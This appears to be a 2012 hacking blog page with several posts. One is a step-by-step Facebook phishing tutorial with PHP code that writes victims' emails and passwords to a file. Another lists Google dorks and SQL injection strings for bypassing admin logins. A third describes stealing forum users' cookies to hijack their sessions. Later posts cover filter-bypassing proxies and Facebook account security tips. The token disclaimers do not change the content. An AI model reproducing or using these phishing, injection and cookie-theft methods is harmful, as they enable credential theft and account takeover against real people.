Receive all updates via Facebook. Just Click the Like Button Below

Showing posts with label Hacking. Show all posts
Showing posts with label Hacking. Show all posts

Sunday, 7 October 2012

Facebook Phishing Page And Script


Admin, this is our latest article regarding Facebook Phishing attack and we are so glad to announce that we have developed some new phishing script for Facebook which is working 100 %.We have already discussed what is phishing and how to create phishing pages for Gmail, Orkut etc.I don’t know how many of you are aware of phishing attacks,Anyway keep in mind that, it is the most common and easiest way to hack anyones personal details.In this article Iam going to share some ideas about Phishing and will show you how to make your own Phishing pages for Facebook.For making Phishing page for any site you need 3 types of files in common.They are
  • .Html file ( ie fake page )
  • .Php file or any other action script page (for tracking the details that entered in page created by you)
  • .Txt file ( To save all the details in text format )
HOW TO MAKE FACEBOOK PHISHING PAGE
1. First goto Facebooklogin page (make sure that the page is loaded completely) and right click and select view source (in firefox) or view source code option in other browsers.
2. Select all ( CTR + A ) and copy all the code and paste it in notepad.
3. Then search(CTR + F) for the keyword action.You can see the code as given below.
action=”https://www.facebook.com/login.php?login_attempt=1″
Just change the above code as mentioned below
action=”pass.php”
after changing to pass.php (or anyname.php) just save it in the form facebook.html (anyname.html). By finishing this step our phishing page is ready.Now we want to create script page for this phishing page.
5. For creating a php script,just copy the below php code into notepad and save in the format pass.php (name mentioned in action of our phishing page)
<?php
$fp = fopen(“Passwords.htm”, “a”);
fwrite($fp, “Email:$_POST[email]\tPassword:$_POST[pass]“);
echo “<HTML>
<head>
<FRAMESET cols=\”*\”>
<FRAME SRC=\”http://www.facebook.com\”>
</FRAMESET>”;
?>
Note:‘http://www.facebook.com‘ is the redirection url,When victim will enter his/her email and password he will redirected to’http://www.facebook.com‘
6.  By this step our PHP script is also ready,
7.  Now host these 2 files ie,
  • facebook.html
  • pass.php
in any of free hosting servers like ripway,drivehq,110 mb or t35.com etc (or any other,just google free hosting).Make sure that these 2 files are in same directory.
8. After hosting you will get a direct link to your phishing page,that is to your facebook.html page.just use this link to access or send phishing page.
9. When anyone tries to login through your phishing page a new html page with name password.html will be automatically created in your hosting directory with the password and username entered there.

Thursday, 6 September 2012

How to hack a Website using basic SQL injection


You may have seen that hackers hack the websites and then make the changes according to them.You must have questioned yourself  like Can i do the same? Can i be able to a website?
In this tutorial i will show you how to hack a website using SQL Structured Query Language )injection.
Lets start.

Definition of  SQL injection?

It  is a technique often used to attack databases through a website.
If your website doesn’t use a database, you can relax a bit; this article doesn’t apply to your site — although you might find it interesting anyway.

Step 1: Finding Vulnerable website

Google is the best partner for your sql injection.We can find the vulnerable websites using  goggle dork list.
Open google and below  a list of  best google dorks are given,you can type any of them in google search box.
Google dorks:-
“inurl:adminlogin.aspx”
“inurl:admin/index.php”
“inurl:administrator.php”
“inurl:administrator.asp”
“inurl:login.asp”
“inurl:adminlogin.asp”
“inurl:administratorlogin.asp”
“inurl:login/administrator.asp”

Step 2:

Hundreds of results will come up. Open any website. It should look something like-
Welcome to xxxxxxxxxx admin panel-
Username :
Password :
For username we always type “Admin” and for password we use sql injection.
Here is the list of some common Sql injection-:
’1′=1
’0″=0
“a”=”a”
(‘x=x”
1=1–
0=0#
‘) or a”=’a
hi” or 1′=1″
Type any of these in Password box. It will look like this:-
username:Admin
password:’”a”=”a”
Disclaimer - This post is only for teaching purpose. Any illegal use of this will not be entertained and website owner is not responsible for any kind of illegal activity through it.

Create your own cokkie logger to hack any account


Well, many of us are aware about phishing and many other different ways of hacking. Here, i am posting an interesting way to hack anyThis is basically to aware you people so that you can save your account.

What do you mean by Cookies?

Cookies stores all the necessary Information about one’s account , using this information you can hack anybody’s account and change his password.
If you get the Cookies of the Victim you can Hack any account the Victim is Logged into i.e. you can hack Google, Yahoo, Orkut, Facebook, Flickr etc.

What is a Cookie-logger?

A Cookie-logger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim.
Today i will show how to create your own cookie logger.
Hope you will enjoy reading  this article.

Step 1:

Download the notepad file from the link provided below.

Download it.

Now open the Downloaded Notepad file and change“http://www.techoteens.com” to your site.
And  save it as fun.gif.

Step 2:   

Download the Cookielogger.php Script File from the link below

Click here

Step 3:

Create a new Notepad File and Save it as logfile.txt 

Step 4:   

Now Upload all these  three files to Your server .(i.e Your PHP Hosting Website ).
cookielogger.php -> http://www.yoursite.com/cookielogger.php
logfile.txt -> http://www.yoursite.com/logfile.txt
fun.gif -> http://www.yoursite.com/fun.gif
If you don’t own any website then you can follow the link below to create your own website  for free which has php support.

Step 5:  

Okk Now Your Cookie Stealing Website is ready.
Now Go to the victim forum and insert this code in the signature or a post :
[url=http://www.yoursite.com/fun.gif][img]http://yoursite.com/fun.jpg[/img][/url]
 

Step 6:

When the victim opens  the post, he can see the image but when he clicks on the image he gets Temporary error and you will immediately get his cookie in youlogfile.txt.
The Cookie would Look as Follows:
phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A"autologinid"%3Bs%3A0%3A""%3Bs%3A6%3A"userid"%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9

Step 7: 

To get the access to the Victim’s Account you need to replace your cookies with the Victim’s Cookie. Use COOKIE EDITOR for this. The string before “=” is the name of the cookie and the string after “=” is its value.
So Change the values of the cookies in the cookie Editor.

Step 8: 

Now for the same purpose you will need a firefox addon named

 ”Add N Edit Cookies

Step 9:   

ITS DONE..!
now go to the website or account you have just hacked ( i mean you have steal cookies)  and You will find that you are logged in as the Victim and now you can change the victim’s account information.

Step 10: 

GAME OVER
Note :
Make Sure that Victim should be Online because you are actually Hijacking the Victim’s Session ( Also known as Session Highjacking) So if the Victim clicks on Logout you will also Logout automatically but once you have changed the password then you can again login with the new password and the victim would not be able to login.
Disclaimer:
I don’t take Responsibility for what you do with this script, served for Educational purpose only.

Tuesday, 4 September 2012

Latest Free Anonymous Web Proxies


Latest Free Anonymous Web Proxies
Free anonymous web proxy site allows any web browser to access other third-party websites by channeling the browser’s connection through the proxy.  The web proxy basically acts as a middleman between your web browser and the third-party website you are visiting.  Why would you want to do this?  There are two common reasons:
  • You’re connecting to a public network at a coffee shop or internet café and you want privacy while you browse the web.  You don’t want the admin to know every site you visit.
  • You want to bypass a web content filter or perhaps a server-side ban on your IP address.  Content filtering is common practice on college campus networks.  This trick will usually bypass those restrictions.
There are subscription services and applications available such as TOR and paid VPN servers that do the same thing.  However, this trick is free and easy to access from anywhere via Google.  All you have to do is look through the search results returned by the queries below, find a proxy that works, and enter in the URL of the site you want to browse anonymously.

Examples:

Sunday, 19 August 2012

12 Ways to protect your facebook account from hackers


How to protect your facebook account from hackers


Now-a-days facebook is the largest social networking site which is used by millions of people all over the world.
Hackers are targeting it as the primary source to get access to the person information of there victims.Fb has been Hacked time and again.
One thing you should keep in your mind that Hacker Can Only Hack Your Facebook With Your Mistake. So don’t make any serious mistake while using Fb.
Just follow the ways described below for protection of  your facebook account from hackers.

1. Enable Secure Browsing

In the past Fb used Secure SSL encryption only for Login Screen i.e It used the Hyper Text Transfer Protocol Secure(HTTPS) only at the time people used to log in. But now with the increase in its  Security guidelines. Facebook Provides SSL encryption even when you get logged in.
IF you see an https  with the logo of Facebook as above then you already have HTTPS encryption on your profile.
If you don’t see anything like the above picture when you log into your profile
Choose Security from Left sidebar.>> then just go to Account Settings>>

ON the right side Check on the option Secure Browsing is enabled and Save Changes.
A secure HTTPS encrypted page takes comparatively more time to load up but its worth the protection it provides in return.

2.Fake home page

Your Profile can still be hacked if you enter your passwords on Phishing Pages.( Phishing Pages are those Websites which are not the original Website.).
A strange link was spread on the whole Fb which leads you to a page similar to the Fb  login page  but the URL was different. That means you are giving your user id and password to any other website which redirects you to your actual fb profile after entering your id and password.

 3. Choose a Strong Unique Password

By Unique i mean to say that your each and every Email id should have a unique Password.
The Password can be a Strong Passwords if:
  • It consists of UPPERCASE , lowercase and Symbols
  • It is not found in the Dictionary
  • It is not anything common to find like 123456 or asdfjkl.
  • It should not be your Mobile Number ,Date of birth or the name of any Person like your Mom or Dad
  • It should be changed every Week
Strong Passwords prevent users from Brute Force CrackingAn example of a strong Password is qwerZXCV456!#%&(24680

4. Never Run any Code From any Facebook Page

There are many Scam Pages on Facebook like Join to see who visited your Fb Profile or Earn 1000000 $ per Month. These Pages will ask you to copy some codes and paste it into your Browser. In short they are making you run a malicious Code which would SPAM your friends with similar Pages and would compromise your Security.

5. Never use applications which want your password for verification

There are a large number of fb application which ask  you for the permission to post on your behalf. This is being asked mostly by application which spam you as well your friends with malicious links. so never give them permission as  these are hacking spams and profile can be hacked.

6. DO Not Share your Password Even with Anyone

Even if your Girlfriend /Mom/ Dad / Sister/ Best friend asks for your Email ID or Password. Just tell them a simple Lie that you don’t remember your Password at this moment or you are confused between a set of 10 passwords.
Just tell them a slightly wrong passwords if they force you as protection of your Fb profile is important.
Its Better to deactivate an account rather giving up your Password .
Its your Own Life ONLINE. DON’T SHARE IT.

7.USE AN UPDATED ANTIVIRUS

Use of an Updated Antivirus Prevent you from All sorts of phishing Attacks, Trojans, Rats &  Keyloggers.
This would also help you in surfing online with security from malicious codes.

8. Connect Multiple Email Addresses

Connecting Multiple Email Accounts with your Fb account Prevents you Even if one of your Primary Email Account is been Hacked by someone.
For Connecting Multiple Email Accounts
  • Go to Account Setting and then Just Click Edit In from of the Email Option
  • Click on Add another email.
  • Enter another email
  • Enter your current Password and save the changes.

9. Connect Your Mobile Number with your Facebook Account

Facebook Mobile Confirmation has given a lot of relief to its users. You can again find this option in account Settings.Click on Mobile in the Left hand side.
Click on Add a Phone.
Once you Add your Phone , You would have to Active Fb  Text as shown below.
Enter the Confirmation code sent to your mobile and Hit next.Done.
Once You confirm your Mobile Number. Every Time you log into your Fb profile , a confirmation code would be sent to your Mobile Numbers which you will need to enter online.
This would protect your Profile  from unauthorized access as the attacker wont have the Confirmation Code sent to your mobile.

10.Never sign in from any other compueter or cybercafe

Don’t sign in to your Fb Profile  from any other computer except those on which you can trust.
Because some people have installed softwares to record the keys which are pressed on their computer.Such softwares are known as keyloggers, which record screenshots and evrything you on your system.

11.Password reset E-Mails

A recent attack on Facebook which sends user an e-mail to reset your password. These e-mails were actually sent to infect the computer. Fb was under the attack of fake fb pages which was used to get the private information like password username e.t.c from the users. Fortunately that was controlled on time.

12. LEARN TO HACK

Just remember these tips and  and keep facebooking..:)